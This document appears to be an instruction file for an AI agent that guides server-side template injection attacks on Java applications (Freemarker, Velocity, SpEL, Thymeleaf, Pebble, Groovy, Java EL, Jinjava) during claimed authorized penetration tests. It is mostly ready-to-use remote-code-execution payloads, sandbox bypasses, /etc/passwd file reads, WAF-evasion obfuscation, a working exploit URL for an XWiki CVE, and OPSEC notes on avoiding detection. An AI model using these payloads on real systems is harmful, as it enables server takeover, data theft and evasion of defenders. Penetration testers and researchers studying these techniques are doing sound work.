ssti-freemarker

name	ssti-freemarker
description	Guide Freemarker/Java server-side template injection exploitation during authorized penetration testing.
keywords	["Freemarker SSTI","Java template injection","Velocity SSTI","Thymeleaf SSTI","Pebble SSTI","Spring EL injection","SpEL injection","Java EL injection","Expression Language injection","Groovy SSTI","${7*7} returns 49 in Java","Jinjava SSTI","HubL injection"]
tools	["burpsuite","sstimap","tplmap"]
opsec	medium

Freemarker / Java SSTI

You are helping a penetration tester exploit server-side template injection in a Java application. The target uses Freemarker, Velocity, Thymeleaf, Pebble, Spring Expression Language (SpEL), Groovy, or Java EL and processes attacker-controlled input through the template/expression engine without proper sanitization. The goal is to escalate from expression evaluation to remote code execution or file access. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [ssti-freemarker] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Confirmed template expression evaluation: ${7*7} returns 49, or {{7*7}} returns 49 in a Java context
• Multiple expression syntaxes exist in Java: ${ }, #{ }, *{ }, @{ }, ~{ }, [= ], [[ ]] — test all if one fails
• If {{7*'7'}} returns 7777777 or 49, the engine is likely Python (Jinja2) or PHP (Twig), not Java

Step 1: Assess

If not already provided, determine:

1. Framework — Spring Boot, Struts, JSF, XWiki, HubSpot, or custom
2. Template engine — Freemarker, Velocity, Thymeleaf, Pebble, SpEL, Groovy, Java EL
3. Injection point — URL param, form field, error page, PDF/email template
4. Expression syntax — which delimiters work? (${}, #{}, *{}, [=])

Skip if context was already provided.

Step 2: Engine Identification

Detection by Error Messages

Inject (1/0).zxy.zxy inside template tags. The error reveals the language:

Error	Engine
java.lang.ArithmeticException	Java EL / SpEL
Arithmetic operation failed	Freemarker
No error, but 0 returned	Velocity (silently handles division)

Detection by Syntax

Payload	Result	Engine
${7*7} → 49	Freemarker, SpEL, Java EL, Groovy
#{7*7} → 49	Freemarker (legacy), Thymeleaf, Java EL
[=7*7] → 49	Freemarker (alternative syntax, >= 2.3.4)
*{7*7} → 49	Spring/Thymeleaf
[[${7*7}]] → 49	Thymeleaf (expression inlining)
${7*'7'} → nothing/error	Freemarker (doesn't do string repetition)
${foobar} → empty	Freemarker (undefined vars return empty)
{{ someString.toUpperCase() }} → works	Pebble
{{'a'.toUpperCase()}} → A	Jinjava / HubL

Freemarker Quick Confirmation

${"freemarker.template.utility.Execute"?new()("id")}

If this returns command output, the engine is Freemarker with no sandbox.

Step 3: RCE — Freemarker

Execute Class (most reliable)

<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

Alternative syntax variants:

#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]

File Reading

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

Convert the returned byte values to ASCII.

Blind / Error-Based

# Error-Based
${("xx"+("freemarker.template.utility.Execute"?new()("id")))?new()}

# Boolean-Based
${1/(("freemarker.template.utility.Execute"?new()("id && echo UniqueString"))?chop_linebreak?ends_with("UniqueString"))?string('1','0')?eval}

# Time-Based
${"freemarker.template.utility.Execute"?new()("id && sleep 5")}

Sandbox Bypass (Freemarker < 2.3.30)

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Step 4: RCE — Velocity

Classic Payload

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Alternative (via string class reflection)

#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("id"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor())
#foreach($i in [1..$out.available()])
$out.read()
#end

Error-Based (Velocity)

#set($s="")
#set($sc=$s.getClass().getConstructor($s.getClass().forName("[B"), $s.getClass()))
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
#set($n=$p.waitFor())
#set($b="Y:/A:/"+$sc.newInstance($p.inputStream.readAllBytes(), "UTF-8"))
#include($b)

Step 5: RCE — Spring Expression Language (SpEL)

Basic RCE via Runtime

${T(java.lang.Runtime).getRuntime().exec("id")}

With Output Capture

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}

Via Method Invoke

${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('id')}

Character-by-Character Bypass (avoid blacklisted strings)

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Environment Variables

${T(java.lang.System).getenv()}

Session Manipulation

${pageContext.request.getSession().setAttribute("admin",true)}

Multiple Syntax Variants

If ${...} is blocked, try: #{...}, *{...}, @{...}, ~{...}

Step 6: RCE — Other Java Engines

Thymeleaf

# Expression inlining
[[${T(java.lang.Runtime).getRuntime().exec('id')}]]

# Preprocessing (double underscore)
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x

# Spring View Manipulation
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

Pebble

Old version (< 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }}

New version:

{% set cmd = 'id' %}
{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}

Groovy

${"id".execute().text}

# Sandbox bypass
${@ASTTest(value={assert java.lang.Runtime.getRuntime().exec("id")}) def x}

Java EL (JSF/JSP)

${''.getClass().forName('java.lang.Runtime').getRuntime().exec('id')}

# With output capture
${''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes())}

Jinjava (HubSpot)

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"whoami\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")}}

Step 7: Real-World Targets

XWiki SolrSearch (CVE-2025-24893)

XWiki <= 15.10.10 allows unauthenticated Groovy SSTI via SolrSearch RSS:

/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22id%22.execute().text)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D

URL-encode all characters (use %20 not +). Output appears in RSS <title>.

Spring Boot Error Pages

If Thymeleaf processes error page templates with user input:

http://TARGET/(${T(java.lang.Runtime).getRuntime().exec('id')})

Step 8: Escalate or Pivot

OPSEC Notes

• Java template payloads execute on the JVM — visible in application logs
• Runtime.exec() creates OS process artifacts (visible in process lists)
• Large payloads (SpEL character-by-character) may trigger WAF rules
• Freemarker Execute class usage may be logged by security managers
• Velocity #set directives with reflection are distinctive in logs
• Cleanup: no persistent artifacts unless you wrote files

Troubleshooting

Execute Class Not Found (Freemarker)

• Freemarker >= 2.3.30 may restrict class instantiation
• Try the sandbox bypass payload (requires version < 2.3.30)
• Check if ObjectWrapper is set to BeansWrapper (allows reflection)
• Try product.getClass() chain for file reading instead

SpEL T() Operator Blocked

• Try method invoke chain: ''.getClass().forName(...).getMethods()[6].invoke(...)
• Use javax.script.ScriptEngineManager for JavaScript-based execution
• Try ProcessBuilder instead of Runtime:

  ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
  ${request.getAttribute("c").add("id")}
  ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
  

Runtime.exec() Returns Empty

• Runtime.exec() returns a Process object, not output
• Need IOUtils.toString() (requires commons-io on classpath)
• Or read the input stream manually:

  ${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}
  

WAF Blocking Payloads

• Use alternative Freemarker syntax: [=...] instead of ${...}
• Freemarker obfuscation via lower_abc:

  ${(9?lower_abc+4?lower_abc)}  # produces "id"
  

• SpEL: use Character.toString() chains to build command strings
• Try base64-encoded command with Velocity

Automated Tools

# SSTImap
python3 sstimap.py -u 'https://TARGET/page?name=test' -s

# tplmap
python2.7 tplmap.py -u 'https://TARGET/page?name=test*' --os-shell

# TInjA — good for polyglot-based engine detection
tinja url -u "https://TARGET/page?name=test"